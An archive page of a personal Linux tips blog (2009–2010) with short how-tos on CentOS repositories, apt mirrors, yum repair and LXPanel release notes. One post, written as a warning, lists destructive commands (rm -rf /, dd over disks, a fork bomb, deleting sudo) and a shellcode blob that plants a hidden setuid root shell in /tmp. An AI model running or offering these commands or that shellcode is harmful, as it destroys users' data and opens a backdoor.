Linux
CDP-Tools on CentOS
by Tinuva on Aug.30, 2010, under Linux
Sometimes you need CDP for reasons unknown to most on your Linux servers. This is just a quick howto to do this on CentOS, one of the most popular server distributions out there.
Step 1: Add Razor Edge’s repository.
rpm -Uvh http://rpm.razorsedge.org/centos-5/RE/razorsedge-release-4-1.el5.re.noarch.rpm
Step 2: Install CDP-Tools
yum install cdp-tools
How to update Ubuntu from FreeZone on a WebAfrica adsl account
by Tinuva on Jun.10, 2010, under Linux
Great question! I myself am on a 50gb Titan ADSL account from Web Africa, and while 50gb is A LOT, every bit of FreeZone traffic is still welcome. I already make use of their TeamSpeak 3 server to chat with friends, but keeping Ubuntu up to date from there is a good idea as well.
The Web Africa FTP ftp://ftp.wa.co.za is also part of FreeZone which many might not know.
Anyways to set it up is easy using the CLI.
Step1: Open a console and gain root access
sudo su -
Step2: Back up you current sources file.
cp /etc/apt/sources.list /etc/apt/sources.list.backup1
Step3: Open apt sources with nano
nano /etc/apt/sources.list
Step4: Replace all URLs.
This is done by issuing the following short cut: CTRL + \
( That is the control button and the backslash button )What to replace: http://za.archive.ubuntu.com/ubuntu/
What to replace it with: ftp://ftp.wa.co.za/pub/ubuntuarchive/
Step5: Update your system from FreeZone
apt-get update
apt-get upgrade
That is it!
OpenSUSE Permissions
by Tinuva on Apr.29, 2010, under Linux
Certain commands require the use of the super user to run them, however at times there are those commands that won’t cause security concerns when used as a normal user. For me these are “tcptraceroute” and “mtr”.
So to help me use them on my normal user, I either need to add my user to the group dialout, or in my case using Active Directory I can’t add my user to that group. There is a alternative.
Add the following lines to: /etc/permissions.local
/usr/sbin/mtr root:dialout 4755
/usr/bin/tcptraceroute root:root 4755
Lethal Linux Commands
by Tinuva on Dec.03, 2009, under Linux
In this post I will collect all commands which SHOULD NEVER be executed in Linux. Any of them will cause data loss or corruption, can freeze or hang up running system.
NEVER RUN THESE COMMANDS IN LINUX BOX CLI!
Even if somebody advises you in forum/im to do it.
1. Any of these commands will erase everything from your home directory, root or just will clear up whole disk:
- sudo rm -rf /
- rm -rf .*
- dd if=/dev/zero of=/dev/sda
- mkfs.ext3 /dev/hda
- whatever > /dev/hda
- cd ~; for x in `ls`; do mv -f $x $y; y=$x; done
- find -type f -mtime +30 -exec mv {} /dev/null \;
- mv ~ /dev/null
- mv / /dev/null
2. Causes kernel panic or freezes Linux box:
- dd if=/dev/random of=/dev/port
- :(){:|:&};: #also known as fork bomb
3. This one does the same as “rm -rf /”:
char esp[] __attribute__ ((section(”.text”))) /* e.s.p
release */
= “\xeb\x3e\x5b\x31\xc0\x50\x54\x5a\x83\xec\x64\x68″
“\xff\xff\xff\xff\x68\xdf\xd0\xdf\xd9\x68\x8d\x99″
“\xdf\x81\x68\x8d\x92\xdf\xd2\x54\x5e\xf7\x16\xf7″
“\x56\x04\xf7\x56\x08\xf7\x56\x0c\x83\xc4\x74\x56″
“\x8d\x73\x08\x56\x53\x54\x59\xb0\x0b\xcd\x80\x31″
“\xc0\x40\xeb\xf9\xe8\xbd\xff\xff\xff\x2f\x62\x69″
“\x6e\x2f\x73\x68\x00\x2d\x63\x00″
“cp -p /bin/sh /tmp/.beyond; chmod 4755
/tmp/.beyond;”;
4. This one will prevent you from executing commands with root rights:
rm -f /usr/bin/sudo;rm -f /bin/su
If you know any other commands that can damage running Linux system or pose fatal problem to system administrators — just comment it here so I could update this post. Thanks.
Update: See what happens if execute rm -rf / in Ubuntu: http://www.youtube.com/watch?v=wWOjmvWPRvQ
Source: http://www.linuxscrew.com/2009/12/03/13-linux-lethal-commands/
Recovering from a half finish YUM operation
by Tinuva on Oct.06, 2009, under Linux
The other day I was doing updates on a CentOS 5.x 64bit server when yum failed halfway through leaving me with multiple versions of the same package installed ect. The problem was the RPM database became corrupted which needed a repair. This I did with the help of a co-worker who figured out the following commands can help:
mkdir rpmdb
cp /var/lib/rpm/__db* rpmdb/
rm /var/lib/rpm/__db*
rm: remove regular empty file `/var/lib/rpm/__db.000′? y
rm: remove regular file `/var/lib/rpm/__db.001′? y
rm: remove regular file `/var/lib/rpm/__db.002′? y
rm: remove regular file `/var/lib/rpm/__db.003′? y
rpm –rebuilddb
After that, to clean up the packages I installed the package “yum-utils” and executed the command
yum-complete-transaction
Other useful commands when you have problems:
yum clean metadata
yum clean all
Wine - making sure applications run smoothly on 64bit systems
by Tinuva on Aug.20, 2009, under Linux
Usually people on 64bit Linux have more problems getting Windows applications to run via wine. Here is a list of software that could help prevent many of these:
- 32bit libgphoto2.so.2 - Allow applications access to digital cameras
- 32bit libhal.so.1 - Allow applications to detect CD-ROM/USB-key insertion
- 32bit libjpeg.so.62 - Allow applications to use JPEG images - lack of this may cause black icons
- 32bit libsane.sp.1 - Scanner support
Evolution could not open the link
by Tinuva on Aug.13, 2009, under Archlinux, Linux
Some of you might get this small error, basically this happen when you click on a URL in an email.
All you need to do to fix this is install gvfs, which is a userspace virtual system using gio.
On arch:
pacman -S gvfs
LXPanel 0.5.0 released
by Tinuva on Aug.03, 2009, under Linux
Just noticed the LXDE project released a new LXPanel (the bar, or more commonly know the Taskbar) has been released. At the same time the main site is down right now, but I have a copy of the blog post.
LXPanel 0.5.0 is being readied for release. Here is a preview of the new and changed features.
General
Optional automatic hiding of the panel when it is not being actively accessed is now supported. It is configured on Panel Settings/Advanced.
Vertical panels are now assumed to be wide, and things are drawn normally rather than on their side as they were in previous releases. The idea is that vertical panels are used on widescreen monitors where there is more width than there is height. Use of autohide can also recover screen space if desired. This is consistent with the practice that has developed in other desktop environments.
A new feature in this release allows you to adjust the icon size independently of panel height. In addition, the font size adjusts with the icon size. This can be useful to configure panels as short as 16 pixels, or to configure panels that have space for more than one row of elements. These features are configured on Panel Settings/Geometry.
A new layout manager for the Keyboard LED, Launchbar, Pager, System Tray, and Taskbar plugins adapts to the size of the panel and repacks icons to use space most efficiently.
Now only the Space and Taskbar plugins will honor “stretch” or offer it in the Panel Settings/Panel Applets dialog. For the Taskbar plugin, it is defaulted on.
Font color is now honored in every plugin. Font color changes immediately in all plugins as it should.
A total of 21 languages are 100% translated, representing in excess of 1.6 billion native speakers.
Many minor bugs have been fixed throughout.
Desktop Number plugin
Now shows desktop names if available from the window manager.
Digital Clock plugin
The clock format string may now contain \n to introduce a line break.
Directory Menu plugin
The Directory Menu plugin now has a configuration dialog. Configurable properties include the starting root directory, the icon, and a textual label.
Keyboard Layout plugin
The Keyboard Layout plugin now builds by default. It has been thoroughly checked out.
Launchbar plugin
The handling of an empty launchbar has been enhanced to avoid displaying the broken image icon. Now the plugin puts up an “Add” button when the launchbar is empty. This button takes the user directly to the configuration dialog where applications can be added.
The launchbar configuration dialog now populates a list of available applications from the menu cache. It is no longer possible to add an application to the launchbar unless it is in the menu. However, users no longer have to search the file system for the desktop file if it is not in the particular directory that the plugin displayed in previous releases.
Users should be aware that the standard per-user location for .desktop files is ~/.local/share/applications. If you place your .desktop files there, they will be added to your menu and you can then add them to the launchbar.
The launchbar configuration dialog now displays the application icons.
Menu plugin
The Menu plugin implements the freedesktop.org menu standard, which specifies the directories that are searched for .desktop and .directory files. If you are experiencing difficulty with applications not appearing in the menu, you may examine the first few lines of the menu cache file in ~/.cache/menus to see the list of directories that were searched. Another common cause of missing entries is the NotShowIn and OnlyShowIn specifications within the .desktop file.
Non-square icons now work.
The plugin has been corrected so that the broken image icon is not displayed when a new Menu plugin is created.
Pager plugin
Each desktop now has a tooltip with the desktop name as reported by the window manager.
The hardcoded limitation on the number of desktops has been removed.
It is still a known issue that some Compiz features are unsupported.
System Tray plugin
So-called “balloon messages”, small amounts of text that a tray application can display, are now supported.
With the changes to make icon size configurable, there is an issue with some tray applications not drawing their icons at the configured icon size, although many do honor the configured size. These icons are drawn by the application, not by lxpanel, so cannot be influenced.
Because of the underlying communication mechanism in the X Window System, there is a restriction that only one system tray can exist per system. This version of LXPanel does not offer the system tray in the Panel Settings/Panel Applets configuration dialog if a system tray is already configured. If you delete the existing system tray from the panel where you have it placed, you may then add it in a different location.
There has been significant internal reworking of the implementation.
There is a known issue with tray applications based on the Qt toolkit. When the panel is reoriented 90 degrees, such as from Bottom to Left, tray icons from Qt applications will be lost. In this release, this is solved provided that LXPanel has been built against GTK version 2.16 or later.
Taskbar plugin
There is a new option to combine multiple windows from the same application into one button. This should alleviate most issues with taskbar overcrowding. The underlying mechanism now correctly shrinks taskbar buttons when the taskbar becomes full rather than allowing it to overrun its allocation in some instances.
The confusing options Accept SkipPager, Show Iconified, Show Mapped have been removed.
By user request, the Close option of the right-click popup menu was moved adjacent to the cursor. Keyboard accelerators were added to the right-click popup menu.
There has been significant internal reworking of the implementation.
Volume Control (ALSA) plugin
Middle-click on the Volume Control (ALSA) plugin now toggles the mute status. The tooltip has been enhanced to display the volume level.
Window Command plugin
The “toggle” behavior has been removed. Now the plugin unconditionally iconifies or shades all windows on a left or middle click.
Perl :: Installing CPAN modules the easy way
by Tinuva on May.22, 2009, under Linux
This is really simple, however someone might need to know just how to do it directly in the future.
Command: (to install lets say SNMP::Extension::PassPersist)
perl -MCPAN -e ‘install SNMP::Extension::PassPersist’
Centos :: Installing php modules via pecl / pear without dependancies
by Tinuva on Feb.26, 2009, under Linux
You might find the following error when you install certain packages:
pecl/mailparse requires PHP extension “mbstring”
No valid packages found
install failed
There are 2 approaches around this.
Approach 1:
Tell the installer to ignore dependancies:
pecl install -n mailparse
Approach 2:
Install the RPM directly, granted you have it in the repos for your current PHP version.
yum install php-pecl-mailparse